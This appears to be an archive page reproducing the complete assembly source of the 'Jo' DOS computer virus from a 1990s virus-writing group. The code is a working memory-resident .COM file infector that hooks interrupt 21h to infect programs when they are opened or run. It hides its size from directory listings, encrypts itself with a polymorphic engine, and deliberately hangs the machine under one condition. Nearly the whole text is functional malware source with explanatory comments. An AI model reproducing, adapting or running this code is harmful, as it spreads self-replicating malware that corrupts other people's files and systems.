home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / j / jo_v111.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  19.3 KB  |  429 lines

  1.         NAME Jo
  2.  
  3.         PAGE 55,132
  4.  
  5.         TITLE Jo Virus.
  6.  
  7.  
  8.  
  9. ;
  10.  
  11. ; This is Yet another virus from the ARCV, this one is called
  12.  
  13. ; Joanna, it was written by Apache Warrior, ARCV President.
  14.  
  15. ;
  16.  
  17. ; It has Stealth features, it is a Resident infector of .COM files
  18.  
  19. ; and uses the Cybertech Mutation Engine (TM) by Apache Warrior for 
  20.  
  21. ; its Polymorphic features.  There is a maximum of 3 unchanged bytes
  22.  
  23. ; in the Encrypted code.
  24.  
  25. ;
  26.  
  27.  
  28.  
  29. .model tiny
  30.  
  31.  
  32.  
  33. code segment
  34.  
  35.  
  36.  
  37.                 ASSUME CS:CODE,DS:CODE,ES:CODE
  38.  
  39.  
  40.  
  41. int_21ofs       equ 84h
  42.  
  43. int_21seg       equ 86h
  44.  
  45. length          equ offset handle-offset main
  46.  
  47. msglen          equ offset oldstart-offset msg
  48.  
  49. tsrlen          equ (offset findat-offset main)/10  
  50.  
  51. len             equ offset handle-offset main
  52.  
  53. virlen          equ (offset string-offset main2)/2
  54.  
  55. decryptlen      equ offset main2-offset main
  56.  
  57.  
  58.  
  59.                 org 100h  
  60.  
  61.  
  62.  
  63. start:          jmp main
  64.  
  65.                 db 0,0,0
  66.  
  67.  
  68.  
  69. main:           mov si,offset main2             ; SI offset for decrypt
  70.  
  71.                 mov cx,virlen                   ; viri decrypt size
  72.  
  73. loop_1:         
  74.  
  75.                 db 2eh,81h,2ch                  ; decrypt
  76.  
  77. switch:         dw 0
  78.  
  79.                 add si,02h
  80.  
  81.                 dec cx
  82.  
  83.                 jnz loop_1
  84.  
  85. main2:          call findoff                    ; find file ofset
  86.  
  87. findoff:        pop si                          ; 
  88.  
  89.                 sub si,offset findoff
  90.  
  91.                 push ds
  92.  
  93.                 push es
  94.  
  95.                 push cs
  96.  
  97.                 pop ds
  98.  
  99.                 push cs
  100.  
  101.                 pop es
  102.  
  103.                 mov ax,0ff05h                   ; Test for Scythe2 Boot
  104.  
  105.                 int 13h
  106.  
  107.                 cmp ah,0e9h                     ; Check for Scythe2 Boot
  108.  
  109.                 jnz haha                        ; no go on
  110.  
  111.                 mov ah,09h                      ; Display message
  112.  
  113.                 lea dx,[si+offset msg2] 
  114.  
  115.                 int 21h 
  116.  
  117.                 jmp $                           ; Crash the machine
  118.  
  119. haha:           mov ah,2ah                      ; Date Test
  120.  
  121.                 int 21h                         ;
  122.  
  123.                 cmp dx,1210h                    ; Is month the Oct.
  124.  
  125.                 jnz main3                       ; no go on
  126.  
  127.                 mov ah,09h                      ; Display Message
  128.  
  129.                 lea dx,[si+offset msg] 
  130.  
  131.                 int 21h
  132.  
  133.  
  134.  
  135.  
  136.  
  137. main3:          mov di,0100h                    ; move old programs
  138.  
  139.                 push si                         ; start back to the start
  140.  
  141.                 mov ax,offset oldstart          ;
  142.  
  143.                 add si,ax                       ;
  144.  
  145.                 mov cx,05h                      ;
  146.  
  147.                 cld                             ;
  148.  
  149.                 repz movsb                      ;
  150.  
  151.  
  152.  
  153. inst:           mov ax,0ffa4h                   ; check to see if already instaled
  154.  
  155.                 int 21h
  156.  
  157.                 pop si                          ; bring back si
  158.  
  159.                 cmp ax,42a1h
  160.  
  161.                 je oldprog                      ; Yes return to old program
  162.  
  163.  
  164.  
  165. tt2:            xor ax,ax                       ; Residency Routine
  166.  
  167.                 push ax
  168.  
  169.                 mov ax,ds                       ; Get MCB segment Address
  170.  
  171.                 dec ax                          ; 
  172.  
  173.                 mov es,ax                       ; Put MCB segment Address in es
  174.  
  175.                 pop ds                          ; 
  176.  
  177.                 mov ax,word ptr ds:int_21ofs    ; Load Int 21h address data
  178.  
  179.                 mov cx,word ptr ds:int_21seg    ;
  180.  
  181.                 mov word ptr cs:[si+int21],ax   ; Move Int 21h data to store
  182.  
  183.                 mov word ptr cs:[si+int21+2],cx ;
  184.  
  185.                 cmp byte ptr es:[0],5ah         ; Check for Start of MCB
  186.  
  187.                 jne oldprog                     ; If no then quit
  188.  
  189.                 mov ax,es:[3]                   ; Play with MCB to get top of 
  190.  
  191.                 sub ax,0bch                     ; Memory and reserve 3,008 bytes
  192.  
  193.                 jb  oldprog                     ; for Virus
  194.  
  195.                 mov es:[3],ax                   ;
  196.  
  197.                 sub word ptr es:[12h],0bch      ;
  198.  
  199.                 mov es,es:[12h]                 ;
  200.  
  201.                 push ds                         ;
  202.  
  203.                 push cs                         ;
  204.  
  205.                 pop ds                          ; Move Virus into Memory
  206.  
  207.                 mov di,0100h                    ; space allocated above
  208.  
  209.                 mov cx,len+5                    ;
  210.  
  211.                 push si                         ;
  212.  
  213.                 add si,0100h                    ;
  214.  
  215.                 rep movsb                       ;
  216.  
  217.                 pop si
  218.  
  219.                 pop ds
  220.  
  221.                 cli                             ; Stop Interrupts Very Inportant
  222.  
  223.                 mov ax,offset new21             ; Load New Int 21h handler
  224.  
  225.                 mov word ptr ds:int_21ofs,ax    ; address and store
  226.  
  227.                 mov word ptr ds:int_21seg,es    ;
  228.  
  229.                 sti                             ;
  230.  
  231.  
  232.  
  233. oldprog:        
  234.  
  235.                 mov di,0100h                    ; Return to Orginal
  236.  
  237.                 pop es                          ; Program..
  238.  
  239.                 pop ds                          ;
  240.  
  241.                 push di                         ;
  242.  
  243.                 ret                             ;
  244.  
  245.  
  246.  
  247. int21           dd 0h                           ; Storage For Int 21h Address
  248.  
  249.  
  250.  
  251. ;
  252.  
  253. ;   New interupt 21h Handler
  254.  
  255. ;
  256.  
  257.  
  258.  
  259. sayitis:        mov ax,42a1h                    ; Install Check..
  260.  
  261.                 iret 
  262.  
  263.  
  264.  
  265. new21:          ;nop                            ; Sign byte 
  266.  
  267.                 cmp ax,0ffa4h                   ; Instalation Check
  268.  
  269.                 je sayitis
  270.  
  271.                 cmp ah,11h                      ; FCB Search file
  272.  
  273.                 je adjust_FCB
  274.  
  275.                 cmp ah,12h                      ; FCB Search Again
  276.  
  277.                 je adjust_FCB
  278.  
  279.                 cmp ah,4eh                      ; Handle Search file
  280.  
  281.                 je adjust_FCB    
  282.  
  283.                 cmp ah,4fh                      ; Handle Search Again
  284.  
  285.                 je adjust_FCB
  286.  
  287.                 cmp ah,3dh                      ; Are they opening a file?
  288.  
  289.                 je intgo                        ; if no ignore
  290.  
  291.                 cmp ah,4bh                      ; Exec Function
  292.  
  293.                 jne noint 
  294.  
  295. intgo:          push ax                         ; 4bh, 3dh Infect file
  296.  
  297.                 push bx                         ; Handler save the Registers
  298.  
  299.                 push cx
  300.  
  301.                 push es
  302.  
  303.                 push si
  304.  
  305.                 push di
  306.  
  307.                 push dx
  308.  
  309.                 push ds
  310.  
  311.                 call checkit                    ; Call infect routine
  312.  
  313.                 pop ds
  314.  
  315.                 pop dx
  316.  
  317.                 pop di
  318.  
  319.                 pop si
  320.  
  321.                 pop es
  322.  
  323.                 pop cx
  324.  
  325.                 pop bx
  326.  
  327.                 pop ax
  328.  
  329. noint:          jmp cs:[int21]                  ; Return to Orginal Int 21h
  330.  
  331.  
  332.  
  333. adjust_FCB:     push es                         ; Stealth Routine
  334.  
  335.                 push bx
  336.  
  337.                 push si
  338.  
  339.                 push ax
  340.  
  341.                 xor si,si
  342.  
  343.                 and ah,40h                      ; Check for handle Search
  344.  
  345.                 jz okFCB
  346.  
  347.                 mov si,1                        ; Set flag
  348.  
  349. okFCB:          mov ah,2fh                      ; Get DTA Address
  350.  
  351.                 int 21h 
  352.  
  353.                 pop ax                          ; Restore ax to orginal function
  354.  
  355.                 call i21                        ; value call it
  356.  
  357.                 pushf                           ; save flags
  358.  
  359.                 push ax                         ; save ax error code
  360.  
  361.                 call adjust                     ; Call stealth adjust routine
  362.  
  363.                 pop ax                          ; restore registers
  364.  
  365.                 popf
  366.  
  367.                 pop si
  368.  
  369.                 pop bx
  370.  
  371.                 pop es
  372.  
  373.                 retf 2                          ; Return to caller
  374.  
  375.  
  376.  
  377. adjust:         pushf                           ; Stealth check routine
  378.  
  379.                 cmp si,0                        ; Check flag set earlyer
  380.  
  381.                 je fcb1
  382.  
  383.                 popf
  384.  
  385.                 jc repurn                       ; Check for Handle Search error
  386.  
  387.                 mov ah,byte ptr es:[bx+16h]     ; No error then carry on
  388.  
  389.                 and ah,01ah                     ; Check stealth stamp
  390.  
  391.                 cmp ah,01ah                     ;
  392.  
  393.                 jne repurn                      ; 
  394.  
  395.                 sub word ptr es:[bx+1ah],len    ; Infected then take the viri size
  396.  
  397. repurn:         ret                             ; from file size.
  398.  
  399. fcb1:           popf                            ; Same again but for the FCB
  400.  
  401.                 cmp al,0ffh
  402.  
  403.                 je meat_hook   
  404.  
  405.                 cmp byte ptr es:[bx],0ffh
  406.  
  407.                 jne xx2
  408.  
  409.                 add bx,7
  410.  
  411. xx2:            mov ah,byte ptr es:[bx+17h]
  412.  
  413.                 and ah,01ah
  414.  
  415.                 cmp ah,01ah
  416.  
  417.                 jne meat_hook
  418.  
  419.                 sub word ptr es:[bx+1dh],len 
  420.  
  421. meat_hook:      ret  
  422.  
  423.  
  424.  
  425. com_txt db 'COM',0                              ; 
  426.  
  427.  
  428.  
  429. reset:                                          ; File Attrib routines
  430.  
  431.                 mov cx,20h  
  432.  
  433. set_back:
  434.  
  435.                 mov al,01h
  436.  
  437. find_att:
  438.  
  439.                 mov ah,43h                      ; Alter file attributes
  440.  
  441. i21:            pushf
  442.  
  443.                 call cs:[int21]
  444.  
  445. exitsub:        ret   
  446.  
  447.  
  448.  
  449. checkit:                                        ; Infect routine
  450.  
  451.                 push es                         ; Save some more registers
  452.  
  453.                 push ds
  454.  
  455.                 push ds                         ; Check to see if file is a 
  456.  
  457.                 pop es                          ; .COM file if not then
  458.  
  459.                 push dx                         ; quit..
  460.  
  461.                 pop di                          ;
  462.  
  463.                 mov cx,0ffh                     ; Find '.' in File Name
  464.  
  465.                 mov al,'.'                      ;
  466.  
  467.                 repnz scasb                     ;
  468.  
  469.                 push cs                         ;
  470.  
  471.                 pop ds                          ;
  472.  
  473.                 mov si,offset com_txt           ; Compare with COM extension
  474.  
  475.                 mov cx,3                        ;
  476.  
  477.                 rep cmpsb                       ;
  478.  
  479.                 pop ds                          ; Restore Reg...
  480.  
  481.                 pop es                          ;
  482.  
  483.                 jnz exitsub                     ;
  484.  
  485.  
  486.  
  487. foundtype:      sub di,06h                      ; Check for commaND.com
  488.  
  489.                 cmp ds:[di],'DN'                ; Quit if found..
  490.  
  491.                 je exitsub                      ;
  492.  
  493.                 mov word ptr cs:[nameptr],dx    ; Save DS:DX pointer for later
  494.  
  495.                 mov word ptr cs:[nameptr+2],ds  ;
  496.  
  497.                 mov al,00h                      ; Find Attributes of file to infect
  498.  
  499.                 call find_att                   ;
  500.  
  501.                 jc exitsub                      ; Error Quit.
  502.  
  503.  
  504.  
  505. alteratr:       mov cs:[attrib],cx              ; Save them
  506.  
  507.                 call reset                      ; Reset them to normal
  508.  
  509.  
  510.  
  511.                 mov ax,3d02h                    ; Open file
  512.  
  513.                 call i21        
  514.  
  515.                 jc exitsub                      ; Error Quit
  516.  
  517.                 push cs                         ; Set DS to CS
  518.  
  519.                 pop ds                          ;
  520.  
  521.                 mov ds:[handle],ax              ; Store handle
  522.  
  523.  
  524.  
  525.                 mov ax,5700h                    ; Read file time and date
  526.  
  527.                 mov bx,ds:[handle]              ;
  528.  
  529.                 call i21                        ;
  530.  
  531. ke9:            mov ds:[date],dx                ; Save DX
  532.  
  533.                 or cx,1ah                       ; Set Stealth Stamp
  534.  
  535.                 mov ds:[time],cx                ; Save CX
  536.  
  537.                                                   
  538.  
  539.                 mov ah,3fh                      ; Read in first 5 bytes
  540.  
  541.                 mov cx,05h                      ; To save them
  542.  
  543.                 mov dx,offset oldstart          ;
  544.  
  545.                 call i21                        ;
  546.  
  547. closeit:        jc close2                       ; Error Quit
  548.  
  549.  
  550.  
  551.                 mov ax,4202h                    ; Move filepointer to end
  552.  
  553.                 mov cx,0ffffh                   ; -5 bytes offset from end
  554.  
  555.                 mov dx,0fffbh                   ;
  556.  
  557.                 call i21                        ;
  558.  
  559.                 jc close                        ; Error Quit
  560.  
  561.  
  562.  
  563.                 mov word ptr cs:si_val,ax       ; Save File saize for later
  564.  
  565.                 cmp ax,0ea60h                   ; See if too big
  566.  
  567.                 jae close                       ; Yes then Quit
  568.  
  569.  
  570.  
  571.                 mov ah,3fh                      ; Read in last 5 bytes
  572.  
  573.                 mov cx,05h                      ; 
  574.  
  575.                 mov dx,offset tempmem           ; 
  576.  
  577.                 call i21                        ; 
  578.  
  579.                 jc close                        ; Error 
  580.  
  581.  
  582.  
  583.                 push cs                         ; Reset ES to CS
  584.  
  585.                 pop es                          ;
  586.  
  587.                 mov di,offset tempmem           ; Check if Already infected
  588.  
  589.                 mov si,offset string            ;
  590.  
  591.                 mov cx,5                        ;
  592.  
  593.                 rep cmpsb                       ;
  594.  
  595.                 jz close                        ; Yes the Close and Quit
  596.  
  597.                                                  
  598.  
  599. zapfile:                                        ; No Infect and Be Damned
  600.  
  601.                 mov ax,word ptr cs:si_val       ; 
  602.  
  603.                 add ax,2                        ;
  604.  
  605.                 push cs                         ; 
  606.  
  607.                 pop ds                          ; 
  608.  
  609.                 mov word ptr ds:[jpover+1],ax   ; Setup new jump
  610.  
  611.                 call mut_eng                    ; Call Mutation Engine
  612.  
  613.                 mov ah,40h                      ; Save prog to end of file
  614.  
  615.                 mov bx,cs:[handle]              ; Load Handle
  616.  
  617.                 mov cx,length                   ; LENGTH OF PROGRAM****
  618.  
  619.                 call i21                        ; Write away
  620.  
  621. close2:         jc close                        ; Quit if error
  622.  
  623.  
  624.  
  625.                 push cs                         ; Reset DS to CS
  626.  
  627.                 pop ds                          ;      
  628.  
  629.                 mov ax,4200h                    ; Move File pointer to start
  630.  
  631.                 xor cx,cx                       ; of file
  632.  
  633.                 cwd                             ; Clever way to XOR DX,DX
  634.  
  635.                 call i21                        ;
  636.  
  637.                 jc close                        ; Error Quit..
  638.  
  639.                                                  
  640.  
  641.                 mov ah,40h                      ; Save new start 
  642.  
  643.                 mov cx,03h                      ; 
  644.  
  645.                 mov dx,offset jpover            ;
  646.  
  647.                 call i21                        ;
  648.  
  649.  
  650.  
  651. close:          mov ax,5701h                    ; Restore Time and Date
  652.  
  653.                 mov bx,ds:[handle]              ;
  654.  
  655.                 mov cx,ds:[time]                ;
  656.  
  657.                 mov dx,ds:[date]                ;
  658.  
  659.                 call i21                        ;
  660.  
  661.                 mov ah,3eh                      ; Close file 
  662.  
  663.                 call i21                        ;
  664.  
  665. exit_sub:       mov dx,word ptr [nameptr]       ; Reset Attributes to as they where
  666.  
  667.                 mov cx,ds:[attrib]              ;
  668.  
  669.                 mov ds,word ptr cs:[nameptr+2]  ;
  670.  
  671.                 call set_back                   ;
  672.  
  673.                 ret                             ; Return to INT 21h Handler
  674.  
  675.  
  676.  
  677.  
  678.  
  679. ;
  680.  
  681. ;               CyberTech Mutation Engine 
  682.  
  683. ;
  684.  
  685. ;               This is Version Two of the Mutation Engine 
  686.  
  687. ;               Unlike others it is very much Virus Specific..  Works
  688.  
  689. ;               Best on Resident Viruses..
  690.  
  691. ;
  692.  
  693. ;               To Call
  694.  
  695. ;
  696.  
  697. ;               si_val = File Size
  698.  
  699. ;
  700.  
  701. ;               Returns
  702.  
  703. ;               DS:DX = Encrypted Virus Code, Use DS:DX pointer to
  704.  
  705. ;                       Write From..
  706.  
  707.  
  708.  
  709.  
  710.  
  711. mut_eng:
  712.  
  713.                 mov ah,2ch                      ; Get Time
  714.  
  715.                 call i21                        ;
  716.  
  717.                 mov word ptr ds:[switch],dx     ; Use Sec./100th counter as key
  718.  
  719.                 mov word ptr ds:[switch2+1],dx  ; Save to Decrypt and Encrypt
  720.  
  721.                 mov ax,cs:[si_val]              ; Get file size
  722.  
  723.                 mov dx,offset main2             ;
  724.  
  725.                 add ax,dx                       ;
  726.  
  727.                 mov word ptr [main+1],ax        ; Store to Decrypt offset
  728.  
  729.                 xor byte ptr [loop_1+2],28h     ; Toggle Add/Sub
  730.  
  731.                 xor byte ptr switch2,28h        ;       "
  732.  
  733.                 push cs                         ; Reset Segment Regs.
  734.  
  735.                 pop ds                          ;
  736.  
  737.                 push cs                         ;
  738.  
  739.                 pop ax                          ; Find Spare Segment
  740.  
  741.                 sub ax,0bch                     ; and put in es
  742.  
  743.                 mov es,ax                       ;
  744.  
  745.                 mov si,offset main              ; Move Decrypt function
  746.  
  747.                 mov di,0100h                    ;
  748.  
  749.                 mov cx,decryptlen               ;
  750.  
  751.                 rep movsb                       ;
  752.  
  753.                 mov si,offset main2             ; Start the code encrypt
  754.  
  755.                 mov cx,virlen                   ;
  756.  
  757. loop_10:        lodsw                           ;
  758.  
  759. switch2:        add ax,0000                     ;
  760.  
  761.                 stosw                           ;
  762.  
  763.                 loop loop_10                    ;
  764.  
  765.                 mov si,offset string            ; move ID string to end
  766.  
  767.                 mov cx,5                        ; new code
  768.  
  769.                 rep movsb                       ;
  770.  
  771.                 mov dx,0100h                    ; Set Registers to encrypted Virus
  772.  
  773.                 push es                         ; Location
  774.  
  775.                 pop ds                          ;
  776.  
  777.                 ret                             ; Return
  778.  
  779.  
  780.  
  781. ; Data Section, contains Messages etc.
  782.  
  783.  
  784.  
  785.  
  786.  
  787. ;               Little message to the Wife to Be..
  788.  
  789.  
  790.  
  791. msg             db 'Looking Good Slimline Joanna.',0dh,0ah
  792.  
  793.                 db 'Made in England by Apache Warrior, ARCV Pres.',0dh,0ah,0ah 
  794.  
  795.                 db 'Jo Ver. 1.11 (c) Apache Warrior 92.',0dh,0ah
  796.  
  797.                 db '$'
  798.  
  799.  
  800.  
  801. msg2            db 'I Love You Joanna, Apache..',0dh,0ah,'$'
  802.  
  803.  
  804.  
  805. virus_name      db '[JO]',00h,                          ; Virus Name..
  806.  
  807. author          db 'By Apache Warrior, ARCV Pres.'      ; Thats me..
  808.  
  809. filler          dd 0h
  810.  
  811.  
  812.  
  813. oldstart:       mov ax,4c00h                    ; Orginal program start
  814.  
  815.                 int 21h
  816.  
  817.                 nop
  818.  
  819.                 nop
  820.  
  821.  
  822.  
  823. j100h           dd 0100h                        ; Stores for jumps etc
  824.  
  825. jpover          db 0e9h,00,00h                  ;
  826.  
  827.  
  828.  
  829. string          db '65fd3'                      ; ID String 
  830.  
  831.  
  832.  
  833. :heap                                           ; This code is not saved 
  834.  
  835. handle          dw 0h
  836.  
  837. nameptr         dd 0h
  838.  
  839. attrib          dw 0h
  840.  
  841. date            dw 0h
  842.  
  843. time            dw 0h
  844.  
  845. tempmem         db 10h dup (?)
  846.  
  847. findat          db 0h
  848.  
  849. si_val          dw 0h
  850.  
  851.  
  852.  
  853. code ends
  854.  
  855.  
  856.  
  857. end start